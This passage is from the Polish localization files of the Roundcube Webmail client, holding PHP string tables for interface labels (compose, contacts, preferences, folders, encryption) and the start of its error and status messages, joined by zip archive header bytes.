$labels['resumeediting'] = 'Zakończ sprawdzanie pisowni';
$labels['revertto'] = 'Powróć do';
$labels['restore'] = 'Przywróć';
$labels['restoremessage'] = 'Przyrócić wiadomość?';
$labels['ignore'] = 'Ignoruj';
$labels['responses'] = 'Odpowiedzi';
$labels['insertresponse'] = 'Wstaw odpowiedź';
$labels['manageresponses'] = 'Zarządzaj odpowiedziami';
$labels['newresponse'] = 'Utwórz nową odpowiedź';
$labels['addresponse'] = 'Dodaj odpowiedź';
$labels['editresponse'] = 'Edytuj odpowiedź';
$labels['editresponses'] = 'Edytuj odpowiedzi';
$labels['responsename'] = 'Nazwa';
$labels['responsetext'] = 'Tekst odpowiedzi';
$labels['attach'] = 'Załącz';
$labels['attachments'] = 'Załączniki';
$labels['upload'] = 'Prześlij';
$labels['uploadprogress'] = '$percent ($current z $total)';
$labels['close'] = 'Zamknij';
$labels['messageoptions'] = 'Opcje wiadomości...';
$labels['togglecomposeoptions'] = 'Przestaw opcje kompozycji';
$labels['attachmentrename'] = 'Zmiana nazwy załącznika';
$labels['low'] = 'Niski';
$labels['lowest'] = 'Bardzo niski';
$labels['normal'] = 'Normalny';
$labels['high'] = 'Wysoki';
$labels['highest'] = 'Bardzo wysoki';
$labels['nosubject'] = '(brak tematu)';
$labels['showimages'] = 'Wyświetl obrazki';
$labels['allow'] = 'Zezwól';
$labels['alwaysshow'] = 'Zawsze wyświetlaj obrazki od $sender';
$labels['alwaysallow'] = 'Zawsze zezwalaj od $sender';
$labels['isdraft'] = 'To jest kopia robocza wiadomości.';
$labels['andnmore'] = '$nr więcej...';
$labels['details'] = 'Szczegóły';
$labels['summary'] = 'Ogólne';
$labels['headers'] = 'Nagłówki';
$labels['allheaders'] = 'Wszystkie nagłówki...';
$labels['togglemoreheaders'] = 'Pokaż więcej nagłówków wiadomości';
$labels['togglefullheaders'] = 'Przełącz podgląd nagłówków wiadomości';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Zwykły tekst';
$labels['savesentmessagein'] = 'Zapisz wiadomość w';
$labels['dontsave'] = 'nie zapisuj';
$labels['maxuploadsize'] = 'Maksymalny rozmiar pliku to $size';
$labels['addcc'] = 'Dodaj Cc';
$labels['addbcc'] = 'Dodaj Bcc';
$labels['addreplyto'] = 'Dodaj Reply-To';
$labels['addfollowupto'] = 'Dodaj Followup-To';
$labels['sendreceipt'] = 'Wysłać potwierdzenie odbioru?';
$labels['mdnrequest'] = 'Nadawca zażądał potwierdzenia przeczytania tej wiadomości. Czy chcesz go powiadomić?';
$labels['receiptread'] = 'Potwierdzenie otrzymania';
$labels['yourmessage'] = 'To jest potwierdzenie dostarczenia Twojej wiadomości';
$labels['receiptnote'] = 'Uwaga: To potwierdzenie dostarczenia wiadomości oznacza tylko, że wiadomość została wyświetlona na komputerze adresata. Nie ma żadnej gwarancji, że odbiorca przeczytał czy też zrozumiał treść wiadomości.';
$labels['sendalwaysto'] = 'Zawsze wysyłaj do $email';
$labels['zoomin'] = 'Zwiększ';
$labels['zoomout'] = 'Zmniejsz';
$labels['rotate'] = 'Obróć';
$labels['increaseimage'] = 'Zwiększ rozmiar obrazu';
$labels['decreaseimage'] = 'Zmniejsz rozmiar obrazu';
$labels['rotateimage'] = 'Obróć obraz';
$labels['showtools'] = 'Pokaż narzędzia obrazu';
$labels['hidetools'] = 'Ukryj narzędzia obrazu';
$labels['name'] = 'Nazwa wyświetlana';
$labels['firstname'] = 'Imię';
$labels['surname'] = 'Nazwisko';
$labels['middlename'] = 'Drugie imię';
$labels['nameprefix'] = 'Prefiks';
$labels['namesuffix'] = 'Sufiks';
$labels['nickname'] = 'Pseudonim';
$labels['jobtitle'] = 'Zawód';
$labels['department'] = 'Oddział';
$labels['gender'] = 'Płeć';
$labels['maidenname'] = 'N. panieńskie';
$labels['email'] = 'E-Mail';
$labels['phone'] = 'Telefon';
$labels['address'] = 'Adres';
$labels['street'] = 'Ulica';
$labels['locality'] = 'Miasto';
$labels['zipcode'] = 'Kod';
$labels['region'] = 'Region';
$labels['country'] = 'Kraj';
$labels['birthday'] = 'Urodziny';
$labels['anniversary'] = 'Jubileusz';
$labels['website'] = 'Strona internetowa';
$labels['instantmessenger'] = 'Komunikator';
$labels['notes'] = 'Notatki';
$labels['male'] = 'mężczyzna';
$labels['female'] = 'kobieta';
$labels['manager'] = 'Kierownik';
$labels['assistant'] = 'Asystent';
$labels['spouse'] = 'Małżonek';
$labels['allfields'] = 'Wszystkie pola';
$labels['search'] = 'Szukaj';
$labels['searchresult'] = 'Wyniki wyszukiwania';
$labels['advsearch'] = 'Wyszukiwanie zaawansowane';
$labels['advanced'] = 'Zaawansowane';
$labels['other'] = 'Inne';
$labels['printcontact'] = 'Drukuj Kontakt';
$labels['qrcode'] = 'Kod QR';
$labels['typehome'] = 'Dom';
$labels['typework'] = 'Praca';
$labels['typeother'] = 'Inne';
$labels['typemobile'] = 'Komórkowy';
$labels['typemain'] = 'Główny';
$labels['typehomefax'] = 'Fax domowy';
$labels['typeworkfax'] = 'Fax firmowy';
$labels['typecar'] = 'Samochód';
$labels['typepager'] = 'Pager';
$labels['typevideo'] = 'Wideo';
$labels['typeassistant'] = 'Asystent';
$labels['typehomepage'] = 'Strona domowa';
$labels['typeblog'] = 'Blog';
$labels['typeprofile'] = 'Profil';
$labels['addfield'] = 'Dodaj pole...';
$labels['addcontact'] = 'Dodaj kontakt';
$labels['editcontact'] = 'Edytuj kontakt';
$labels['contacts'] = 'Kontakty';
$labels['contactproperties'] = 'Właściwości';
$labels['contactnameandorg'] = 'Nazwa i organizacja';
$labels['personalinfo'] = 'Informacje osobiste';
$labels['personal'] = 'Osobiste';
$labels['contactphoto'] = 'Zdjęcie kontaktu';
$labels['edit'] = 'Edytuj';
$labels['cancel'] = 'Anuluj';
$labels['save'] = 'Zapisz';
$labels['delete'] = 'Usuń';
$labels['discard'] = 'Odrzuć';
$labels['continue'] = 'Kontynuuj';
$labels['ok'] = 'OK';
$labels['rename'] = 'Zmień nazwę';
$labels['addphoto'] = 'Dodaj';
$labels['replacephoto'] = 'Zamień';
$labels['uploadphoto'] = 'Wyślij zdjęcie';
$labels['choosefile'] = 'Wybierz plik...';
$labels['choosefiles'] = 'Wybierz pliki...';
$labels['browse'] = 'Przeglądaj';
$labels['newcontact'] = 'Dodaj nowy kontakt';
$labels['deletecontact'] = 'Usuń zaznaczone kontakty';
$labels['composeto'] = 'Utwórz wiadomość do wybranych kontaktów';
$labels['contactsfromto'] = 'Kontakty od $from do $to z $count';
$labels['print'] = 'Drukuj';
$labels['export'] = 'Eksportuj';
$labels['exportall'] = 'Eksportuj wszystkie';
$labels['exportsel'] = 'Eksportuj zaznaczone';
$labels['exportvcards'] = 'Eksport kontaktów w formacie vCard';
$labels['newgroup'] = 'Utwórz nową grupę';
$labels['addgroup'] = 'Dodaj grupę';
$labels['grouprename'] = 'Zmień nazwę grupy';
$labels['groupdelete'] = 'Usuń grupę';
$labels['groupassign'] = 'Przypisz do grupy...';
$labels['groupremove'] = 'Usuń z grupy';
$labels['groupremoveselected'] = 'Usuń wybrane kontakty z grupy';
$labels['uponelevel'] = 'Jeden poziom w górę';
$labels['previouspage'] = 'Poprzednia strona';
$labels['firstpage'] = 'Pierwsza strona';
$labels['nextpage'] = 'Następna strona';
$labels['lastpage'] = 'Ostatnia strona';
$labels['group'] = 'Grupa';
$labels['groups'] = 'Grupy';
$labels['listgroup'] = 'Członkowie grupy';
$labels['personaladrbook'] = 'Kontakty osobiste';
$labels['searchsave'] = 'Zapisz wyszukiwanie';
$labels['searchdelete'] = 'Usuń wyszukiwanie';
$labels['import'] = 'Importuj';
$labels['importcontacts'] = 'Import kontaktów';
$labels['importfromfile'] = 'Import z pliku';
$labels['importtarget'] = 'Dodaj kontakty do';
$labels['importreplace'] = 'Zastąp całą książkę adresową';
$labels['importgroups'] = 'Importuj powiązania z grupami';
$labels['importgroupsall'] = 'Wszystkie (utwórz grupy jeśli potrzeba)';
$labels['importgroupsexisting'] = 'Tylko do isniejących grup';
$labels['importdesc'] = 'Możesz zaimportować kontakty z istniejącej książki adresowej.<br/>Obecnie wspierany jest format <a href="https://en.wikipedia.org/wiki/VCard">vCard</a> lub CSV (dane odzielone przecinkami).';
$labels['importmapdesc'] = 'Przed przystąpieniem do importu danych w formacie CSV potwierdź poprawność powiązania pól.';
$labels['fieldnotmapped'] = 'Pole niepowiązane (pomiń)';
$labels['skipheader'] = 'Nie importuj pierwszej linii (nagłówki)';
$labels['done'] = 'Wykonane';
$labels['settingsfor'] = 'Ustawienia dla';
$labels['about'] = 'O programie';
$labels['preferences'] = 'Preferencje';
$labels['userpreferences'] = 'Preferencje użytkownika';
$labels['editpreferences'] = 'Edytuj preferencje';
$labels['identities'] = 'Tożsamości';
$labels['manageidentities'] = 'Zarządzaj tożsamościami';
$labels['newidentity'] = 'Utwórz nową tożsamość';
$labels['addidentity'] = 'Dodaj tożsamość';
$labels['editidentity'] = 'Edytuj tożsamości';
$labels['identityencryption'] = 'Szyfrowanie';
$labels['preferhtml'] = 'Domyślny HTML';
$labels['defaultcharset'] = 'Domyślny zestaw znaków';
$labels['htmlmessage'] = 'Wiadomość HTML';
$labels['messagepart'] = 'Część';
$labels['digitalsig'] = 'Podpis cyfrowy';
$labels['dateformat'] = 'Format daty';
$labels['timeformat'] = 'Format czasu';
$labels['prettydate'] = 'Ładne daty';
$labels['setdefault'] = 'Domyślna';
$labels['autodetect'] = '- wybór automatyczny -';
$labels['language'] = 'Język';
$labels['timezone'] = 'Strefa czasowa';
$labels['pagesize'] = 'Liczba wierszy na stronie';
$labels['signature'] = 'Podpis';
$labels['dstactive'] = 'Czas letni';
$labels['showinextwin'] = 'Otwórz wiadomość w nowym oknie';
$labels['composeextwin'] = 'Twórz w nowym oknie';
$labels['htmleditor'] = 'Twórz wiadomości HTML';
$labels['htmlonreply'] = 'tylko w odpowiedzi na wiadomość HTML';
$labels['htmlonreplyandforward'] = 'podczas przesyłania dalej lub odpowiedzi na wiadomość HTML';
$labels['htmlsignature'] = 'Podpis w HTML';
$labels['showemail'] = 'Pokazuj adres e-mail wraz z nazwą/opisem';
$labels['previewpane'] = 'Pokaż podgląd wiadomości';
$labels['skin'] = 'Wygląd interfejsu';
$labels['logoutclear'] = 'Przy wylogowaniu opróżnij Kosz';
$labels['logoutcompact'] = 'Przy wylogowaniu porządkuj folder Odebrane';
$labels['uisettings'] = 'Interfejs użytkownika';
$labels['serversettings'] = 'Ustawienia serwera';
$labels['mailboxview'] = 'Widok skrzynki pocztowej';
$labels['mdnrequests'] = 'Na żądanie potwierdzenia odbioru';
$labels['askuser'] = 'pytaj mnie';
$labels['autosend'] = 'wyślij potwierdzenie';
$labels['autosendknown'] = 'wyślij potwierdzenie tylko do moich kontaktów, pytaj o pozostałe';
$labels['autosendknownignore'] = 'wyślij potwierdzenie tylko do moich kontaktów, pozostałe ignoruj';
$labels['autosendtrusted'] = 'wyślij do zaufanych nadawców, w innych przypadkach pytaj';
$labels['autosendtrustedignore'] = 'wyślij do zaufanych nadawców, w innych przypadkach ignoruj';
$labels['ignorerequest'] = 'ignoruj żądanie';
$labels['readwhendeleted'] = 'Podczas usuwania oznacz wiadomość jako przeczytaną';
$labels['flagfordeletion'] = 'Oznacz wiadomość do usunięcia zamiast ją usuwać';
$labels['skipdeleted'] = 'Ukryj wiadomości oznaczone do usunięcia';
$labels['deletealways'] = 'Usuń wiadomości, gdy przenoszenie do Kosza zawiedzie';
$labels['deletejunk'] = 'Kasuj wiadomości bezpośrednio w folderze Spam';
$labels['showremoteimages'] = 'Wyświetlaj obrazki w wiadomościach';
$labels['allowremoteresources'] = 'Zezwól na zdalne zasoby (obrazki, style)';
$labels['fromknownsenders'] = 'od znanych nadawców';
$labels['fromtrustedsenders'] = 'od zaufanych nadawców';
$labels['frommycontacts'] = 'od moich kontaktów';
$labels['always'] = 'zawsze';
$labels['alwaysbutplain'] = 'zawsze, za wyjątkiem odpowiedzi na zwykły tekst.';
$labels['showinlineimages'] = 'Wyświetlaj załączone obrazki pod treścią wiadomości';
$labels['autosavedraft'] = 'Automatycznie zapisuj tworzoną wiadomość';
$labels['everynminutes'] = 'co $n minut(y)';
$labels['refreshinterval'] = 'Odświeżanie (sprawdzanie nowych wiadomości, etc.)';
$labels['never'] = 'nigdy';
$labels['immediately'] = 'natychmiast';
$labels['messagesdisplaying'] = 'Wyświetlanie wiadomości';
$labels['messagescomposition'] = 'Tworzenie wiadomości';
$labels['mimeparamfolding'] = 'Stosuj nazwy załączników zgodne z';
$labels['2231folding'] = 'RFC 2231 (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'RFC 2047 (przestarzałe)';
$labels['force7bit'] = 'Używaj kodowania MIME dla znaków 8-bitowych';
$labels['savelocalstorage'] = "Zapisz w lokalnej bazie przeglądarki (tymczasowo)";
$labels['advancedoptions'] = 'Opcje zaawansowane';
$labels['toggleadvancedoptions'] = 'Pokaż/ukryj opcje zaawansowane';
$labels['focusonnewmessage'] = 'Informuj przeglądarkę o nowej wiadomości';
$labels['checkallfolders'] = 'Sprawdzaj czy nadeszły nowe wiadomości we wszystkich folderach';
$labels['displaynext'] = 'Po usunięciu elementu listy wyświetl następny';
$labels['defaultfont'] = 'Czcionka wiadomości HTML';
$labels['mainoptions'] = 'Opcje główne';
$labels['browseroptions'] = 'Opcje przeglądarki';
$labels['section'] = 'Sekcja';
$labels['maintenance'] = 'Konserwacja';
$labels['newmessage'] = 'Nowa wiadomość';
$labels['signatureoptions'] = 'Opcje podpisów';
$labels['whenreplying'] = 'Podczas odpowiadania rozpocznij wiadomość';
$labels['replyempty'] = 'nie cytuj oryginalnej wiadomości';
$labels['replytopposting'] = 'powyżej cytowanej treści';
$labels['replytoppostingnoindent'] = 'Zacznij nową wiadomość ponad cytowaną treścią (brak wcięcia)';
$labels['replybottomposting'] = 'poniżej cytowanej treści';
$labels['replyremovesignature'] = 'Podczas odpowiedzi usuń podpis z cytowanej treści';
$labels['autoaddsignature'] = 'Automatycznie wstaw podpis';
$labels['newmessageonly'] = 'tylko dla nowych wiadomości';
$labels['replyandforwardonly'] = 'tylko dla przekazywania i odpowiedzi';
$labels['insertsignature'] = 'Wstaw podpis';
$labels['sigbelow'] = 'Umieść podpis poniżej cytowanej wiadomości';
$labels['sigseparator'] = 'Wymuś standardowy separator w podpisie';
$labels['automarkread'] = 'Oznacz wiadomości jako przeczytane';
$labels['afternseconds'] = 'po $n sekundach';
$labels['reqmdn'] = 'Zawsze żądaj potwierdzenia odbioru';
$labels['reqdsn'] = 'Zawsze żądaj statusu dostarczenia (DSN)';
$labels['replysamefolder'] = 'Umieszczaj odpowiedzi w folderze wiadomości, na którą odpowiadam';
$labels['defaultabook'] = 'Domyślna książka adresowa';
$labels['autocompletesingle'] = 'Nie pokazuj alternatywnych adresów przy autouzupełnianiu';
$labels['listnamedisplay'] = 'Wyświetl kontakty jako';
$labels['contactformmode'] = 'Tryb formularza kontaktu';
$labels['privatemode'] = 'Osobisty (Dom)';
$labels['businessmode'] = 'Firmowy (Praca)';
$labels['collectedaddresses'] = 'Zebrane adresy';
$labels['collectedrecipients'] = 'Zebrani adresaci';
$labels['collectedrecipientsopt'] = 'Zapisuj adresatów poczty do';
$labels['collectedsendersopt'] = 'Zapisuj zaufanych nadawców do';
$labels['trustedsenders'] = 'Zaufani nadawcy';
$labels['spellcheckbeforesend'] = 'Przed wysłaniem wiadomości sprawdzaj pisownię';
$labels['spellcheckoptions'] = 'Opcje sprawdzania pisowni';
$labels['spellcheckignoresyms'] = 'Ignoruj słowa zawierające symbole';
$labels['spellcheckignorenums'] = 'Ignoruj słowa zawierające cyfry';
$labels['spellcheckignorecaps'] = 'Ignoruj słowa pisane wielkimi literami';
$labels['addtodict'] = 'Dodaj do słownika';
$labels['mailtoprotohandler'] = 'Zainstaluj obsługę linków mailto:';
$labels['standardwindows'] = 'Traktuj okna wyskakujące jako standardowe okna';
$labels['forwardmode'] = 'Przekazywanie wiadomości';
$labels['inline'] = 'w treści';
$labels['asattachment'] = 'jako załącznik';
$labels['replyallmode'] = 'Domyśla akcja przycisku [Odpowiedz wszystkim]';
$labels['replyalldefault'] = 'odpowiedz wszystkim';
$labels['replyalllist'] = 'odpowiedz tylko do listy mailingowej (jeśli wykryto)';
$labels['allmessages'] = 'wszystkich';
$labels['folder'] = 'Folder';
$labels['folders'] = 'Foldery';
$labels['foldername'] = 'Nazwa folderu';
$labels['subscribed'] = 'Zasubskrybowany';
$labels['messagecount'] = 'Wiadomości';
$labels['create'] = 'Utwórz';
$labels['createfolder'] = 'Utwórz nowy folder';
$labels['managefolders'] = 'Zarządzaj folderami';
$labels['specialfolders'] = 'Foldery specjalne';
$labels['properties'] = 'Właściwości';
$labels['folderproperties'] = 'Właściwości folderu';
$labels['parentfolder'] = 'Folder nadrzędny';
$labels['location'] = 'Położenie';
$labels['info'] = 'Informacje';
$labels['getfoldersize'] = 'Kliknij aby pobrać rozmiar folderu';
$labels['changesubscription'] = 'Kliknij aby zmienić subskrypcję';
$labels['foldertype'] = 'Typ folderu';
$labels['personalfolder'] = 'Folder prywatny';
$labels['otherfolder'] = 'Folder innego użytkownika';
$labels['sharedfolder'] = 'Folder współdzielony';
$labels['findfolders'] = 'Szukaj folderów';
$labels['findcontacts'] = 'Znajdź kontakty';
$labels['findmail'] = 'Znajdź wiadomości pocztowe';
$labels['namespace.personal'] = 'Osobiste';
$labels['namespace.other'] = 'Innych użytkowników';
$labels['namespace.shared'] = 'Współdzielone';
$labels['dualuselabel'] = 'Może zawierać tylko';
$labels['dualusemail'] = 'wiadomości';
$labels['dualusefolder'] = 'foldery';
$labels['generate'] = 'Generuj';
$labels['encryptioncreatekey'] = 'Utwórz nową parę kluczy';
$labels['openmailvelopesettings'] = 'Otwórz ustawienia Mailvelope';
$labels['encryptionprivkeysinmailvelope'] = 'Znaleziono $nr pasujących kluczy prywatnych w bazie Mailvelope:';
$labels['encryptionnoprivkeysinmailvelope'] = 'Wybrana tożsamość nadawcy nie posiada pasującego klucza prywatnego w bazie Mailvelope. Czy chcesz utworzyć klucz pozwalający szyfrować wiadomości?';
$labels['encryption'] = 'Szyfrowanie';
$labels['mailvelopeoptions'] = 'Opcje Mailvelope';
$labels['mailvelopemainkeyring'] = 'Korzystaj z głównego zasobu kluczy (keyring) Mailvelope';
$labels['mailvelopenotfound'] = 'Rozszerzenie Mailvelope nie jest włączone/zainstalowane w twojej przeglądarce.';
$labels['sortby'] = 'Sortuj wg';
$labels['sortasc'] = 'Rosnąco';
$labels['sortdesc'] = 'Malejąco';
$labels['undo'] = 'Cofnij';
$labels['installedplugins'] = 'Zainstalowane wtyczki';
$labels['plugin'] = 'Wtyczka';
$labels['version'] = 'Wersja';
$labels['source'] = 'Źródła';
$labels['destination'] = 'Cel';
$labels['license'] = 'Licencja';
$labels['support'] = 'Wsparcie techniczne';
$labels['savedsearches'] = 'Zapisane wyszukiwania';
$labels['dateformatY'] = 'RRRR';
$labels['dateformaty'] = 'RR';
$labels['dateformatm'] = 'MM';
$labels['dateformatd'] = 'DD';
$labels['dateformatj'] = 'D';
$labels['dateformatn'] = 'M';
$labels['B'] = 'B';
$labels['KB'] = 'kB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'uniwersalny';
$labels['english'] = 'angielski';
$labels['westerneuropean'] = 'zachodnioeuropejski';
$labels['easterneuropean'] = 'wschodnioeuropejski';
$labels['southeasterneuropean'] = 'południowo-wschodnioeuropejski';
$labels['baltic'] = 'bałtycki';
$labels['cyrillic'] = 'cyrylica';
$labels['arabic'] = 'arabski';
$labels['greek'] = 'grecki';
$labels['hebrew'] = 'hebrajski';
$labels['turkish'] = 'turecki';
$labels['nordic'] = 'nordycki';
$labels['thai'] = 'tajski';
$labels['celtic'] = 'celtycki';
$labels['vietnamese'] = 'wietnamski';
$labels['japanese'] = 'japoński';
$labels['korean'] = 'koreański';
$labels['chinese'] = 'chiński';
$labels['arialabeltopnav'] = 'Kontrolki okna';
$labels['arialabeltasknav'] = 'Zadania aplikacji';
$labels['arialabeltoolbar'] = 'Narzędzia aplikacji';
$labels['arialabellistnav'] = 'Obsługa listy';
$labels['arialabelactivetask'] = 'Aktywne zadanie';
$labels['arialabelmessagessearchfilter'] = 'Filtr listy wiadomości';
$labels['arialabelmailsearchform'] = 'Formularz wyszukiwania wiadomości';
$labels['arialabelcontactsearchform'] = 'Formularz wyszukiwania kontaktów';
$labels['arialabelmailquicksearchbox'] = 'Wejście danych wyszukiwania';
$labels['arialabelquicksearchbox'] = 'Wejście danych wyszukiwania';
$labels['arialabelfoldersearchfilter'] = 'Filtr listy folderów';
$labels['arialabelfoldersearchform'] = 'Formularz wyszukiwania folderów';
$labels['arialabelfolderlist'] = 'Wybór folderu';
$labels['arialabelmessagelist'] = 'Lista wiadomości e-mail';
$labels['arialabelmailpreviewframe'] = 'Podgląd wiadomości';
$labels['arialabelmailboxmenu'] = 'Menu akcji folderów';
$labels['arialabellistselectmenu'] = 'Menu zaznaczenia listy';
$labels['arialabelthreadselectmenu'] = 'Menu wątków listy';
$labels['arialabelmessagelistoptions'] = 'Opcje wyświetlania i sortowania listy';
$labels['arialabelmailimportdialog'] = 'Dialog importu wiadomości';
$labels['arialabelmessagenav'] = 'Nawigacja wiadomości';
$labels['arialabelmessagebody'] = 'Treść wiadomości';
$labels['arialabelmessageactions'] = 'Akcje wiadomości';
$labels['arialabelcontactquicksearch'] = 'Formularz wyszukiwania kontaktów';
$labels['arialabelcontactsearchbox'] = 'Wejście danych wyszukiwania';
$labels['arialabelmessageheaders'] = 'Nagłówki wiadomości';
$labels['arialabelforwardingoptions'] = 'Opcje przekazywania wiadomości';
$labels['arialabelreplyalloptions'] = 'Opcje odpowiedzi do wszystkich';
$labels['arialabelmoremessageactions'] = 'Więcej akcji';
$labels['arialabelmorecontactactions'] = 'Więcej akcji';
$labels['arialabelmarkmessagesas'] = 'Oznacz wybrane wiadomości jako...';
$labels['arialabelcomposeoptions'] = 'Opcje kompozycji';
$labels['arialabelresponsesmenu'] = 'Menu zapisanych odpowiedzi';
$labels['arialabelattachmentuploadform'] = 'Formularz wysyłania załączników';
$labels['arialabelattachmentmenu'] = 'Opcje załączników';
$labels['arialabelmailtomenu'] = 'Opcje adresu email';
$labels['arialabelattachmentpreview'] = 'Podgląd załącznika';
$labels['ariasummarycomposecontacts'] = 'Lista wyboru kontaktów/grup jako odbiorców';
$labels['arialabelcontactexportoptions'] = 'Opcje eksportu kontaktów';
$labels['arialabelabookgroupoptions'] = 'Opcje książki adresowej i grup';
$labels['arialabelpreferencesform'] = 'Formularz ustawień';
$labels['arialabelidentityeditfrom'] = 'Formularz edycji tożsamości';
$labels['arialabelresponseeditfrom'] = 'Formularz edycji odpowiedzi';
$labels['arialabelsearchterms'] = 'Szukana fraza';
$labels['arialabeldropactionmenu'] = 'Menu Przeciągnij-i-upuść';
$labels['arialabelheadersmenu'] = 'Menu dodawania odbiorcy (nagłóweka)';
$labels['arialabelimagetools'] = 'Narzędzia obrazu';
$labels['helplistnavigation'] = 'Obsługa listy przy pomocy klawiatury';
$labels['helplistkeyboardnavigation'] = "Strzałki góra/dół: Oznaczanie/poruszanie się po wierszach.
Spacja: Wybór bieżącego wiersza.
SHIFT + góra/dół: Oznaczenie dodatkowych wierszy.
CTRL + Spacja: Zaznaczenie/odznaczenie bieżącego wiersza.";
$labels['helplistkeyboardnavmessages'] = "Strzałki prawo/lewo: Rozwiniecie/zwinięcie wątku (w trybie wątkowania).
ENTER: Otwarcie bieżącej wiadomości.
DELETE: Usunięcie/Przeniesienie wiadomości do Kosza.";
$labels['helplistkeyboardnavcontacts'] = "ENTER: Otwarcie bieżącego kontaktu.";
PK
h�\���D~G~G'program/localization/pl_PL/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Wystąpił błąd!';
$messages['loginfailed']  = 'Błąd logowania!';
$messages['cookiesdisabled'] = 'Twoja przeglądarka nie obsługuje ciasteczek!';
$messages['sessionerror'] = 'Błąd sesji bądź sesja wygasła!';
$messages['cookiesmismatch'] = 'Niezgodność ciasteczek. Proszę usunąć ciasteczka zapisane w przeglądarce.';
$messages['storageerror'] = 'Błąd połączenia z serwerem!';
$messages['servererror'] = 'Błąd serwera!';
$messages['servererrormsg'] = 'Błąd serwera: $msg';
$messages['accountlocked'] = 'Przekroczono maksymalną dozwoloną liczbę prób logowania. Proszę spróbować później.';
$messages['connerror'] = 'Błąd połączenia (brak odpowiedzi serwera)!';
$messages['dberror'] = 'Błąd bazy danych!';
$messages['dbconnerror'] = 'Nie można nawiązać połączenia z bazą danych!';
$messages['windowopenerror'] = 'Wyskakujące okno zostało zablokowane!';
$messages['requesttimedout'] = 'Upłynął limit czasu żądania';
$messages['errorreadonly'] = 'Nie można wykonać operacji. Folder tylko do odczytu.';
$messages['errornoperm'] = 'Nie można wykonać operacji. Brak uprawnień.';
$messages['erroroverquota'] = 'Nie można wykonać operacji. Brak miejsca na dysku.';
$messages['erroroverquotadelete'] = 'Brak miejsca na dysku. Użyj SHIFT+DEL aby usunąć wiadomość.';
$messages['invalidrequest'] = 'Błędne żądanie! Nie zapisano danych.';
$messages['invalidhost'] = 'Błędna nazwa serwera.';
$messages['nomessagesfound'] = 'Brak wiadomości w skrzynce.';
$messages['loggedout'] = 'Sesja została zakończona poprawnie. Do widzenia!';
$messages['mailboxempty'] = 'Folder jest pusty';
$messages['nomessages'] = 'Brak wiadomości';
$messages['refreshing'] = 'Odświeżanie...';
$messages['loading'] = 'Ładowanie...';
$messages['uploading'] = 'Zapisywanie pliku...';
$messages['attaching'] = 'Dołączanie pliku...';
$messages['uploadingmany'] = 'Zapisywanie plików...';
$messages['loadingdata'] = 'Ładowanie danych...';
$messages['checkingmail'] = 'Sprawdzanie nowych wiadomości...';
$messages['sendingmessage'] = 'Wysyłanie wiadomości...';
$messages['messagesent'] = 'Wiadomość została wysłana.';
$messages['savingmessage'] = 'Zapisywanie wiadomości...';
$messages['messagesaved'] = 'Wiadomość została zapisana w folderze Kopie robocze.';
$messages['successfullysaved'] = 'Zapisano pomyślnie.';
$messages['savingresponse'] = 'Zapisywanie tekstu odpowiedzi...';
$messages['deleteresponseconfirm'] = 'Czy na pewno chcesz usunąć tą odpowiedź?';
$messages['nocontactselected'] = 'Nie wybrałeś jeszcze kontaktu.';
$messages['addedsuccessfully'] = 'Kontakt został dodany.';
$messages['contactexists'] = 'Kontakt o podanym adresie e-mail już istnieje!';
$messages['contactnameexists'] = 'Kontakt z podaną nazwą już istnieje!';
$messages['blockedimages'] = 'Ze względów bezpieczeństwa zewnętrzne obrazki zostały zablokowane.';
$messages['blockedresources'] = 'W celu ochrony prywatności zablokowano zdalne zasoby.';
$messages['suspiciousemail'] = 'Ta wiadomość może być próbą oszustwa, gdyż zawiera podejrzane adresy email.';
$messages['bccemail'] = 'Przekazywane wiadomości zawierają poufnych odbiorców (Bcc).';
$messages['bouncehint'] = 'Wiadomość zostanie wysłana bez żadnych modyfikacji, tzn. przy użyciu oryginalnej treści, nagłówków i odbiorców.';
$messages['encryptedmessage'] = 'Przepraszamy, nie można wyświetlić zaszyfrowanej wiadomości!';
$messages['externalmessagedecryption'] = 'Ta wiadomość jest zaszyfrowana i może zostać odszyfrowana za pomocą rozszerzenia przeglądarki.';
$messages['nopubkeyfor'] = 'Nie znaleziono klucza publicznego dla $email';
$messages['nopubkeyforsender'] = 'Nie znaleziono klucza publicznego dla używanej tożsamości. Czy chcesz zaszyfrować wiadomość tylko dla adresatów?';
$messages['encryptnoattachments'] = 'Załączniki, które zostały poprzednio przesłane na serwer nie mogą zostać zaszyfrowane. Należy przesłać je ponownie poprzez dodanie do edytora szyfrowania.';
$messages['searchpubkeyservers'] = 'Czy wyszukać brakujące klucze na serwerach kluczy?';
$messages['encryptpubkeysfound'] = 'Znaleziono następujące klucze:';
$messages['keyservererror'] = 'Pobieranie klucza z serwera nie powiodło się.';
$messages['keyimportsuccess'] = 'Klucz $key został pomyślnie zaimportowany do bazy kluczy.';
$messages['nocontactsfound'] = 'Nie znaleziono kontaktu!';
$messages['contactnotfound'] = 'Szukany kontakt nie został odnaleziony.';
$messages['contactsearchonly'] = 'Dostęp do kontaktów z wybranej książki adresowej możliwy jedynie poprzez formularz wyszukiwania.';
$messages['sendingfailed'] = 'Nie udało się wysłać wiadomości!';
$messages['senttooquickly'] = 'Musisz poczekać $sec sek. aby móc wysłać tą wiadomość!';
$messages['errorsavingsent'] = 'Wystąpił błąd podczas zapisu wysłanej wiadomości!';
$messages['errorsaving'] = 'Wystąpił błąd podczas zapisu!';
$messages['errormoving'] = 'Nie można przenieść wiadomości!';
$messages['errorcopying'] = 'Nie można skopiować wiadomości!';
$messages['errordeleting'] = 'Nie można usunąć wiadomości!';
$messages['errormarking'] = 'Nie można oznaczyć wiadomości!';
$messages['alerttitle'] = 'Uwaga';
$messages['confirmationtitle'] = 'Czy jesteś pewien...';
$messages['deletecontactconfirm']  = 'Czy na pewno chcesz usunąć wybrane kontakty?';
$messages['deletegroupconfirm']  = 'Czy na pewno chcesz usunąć wybraną grupę?';
$messages['deletemessagesconfirm'] = 'Czy na pewno chcesz usunąć wybrane wiadomości?';
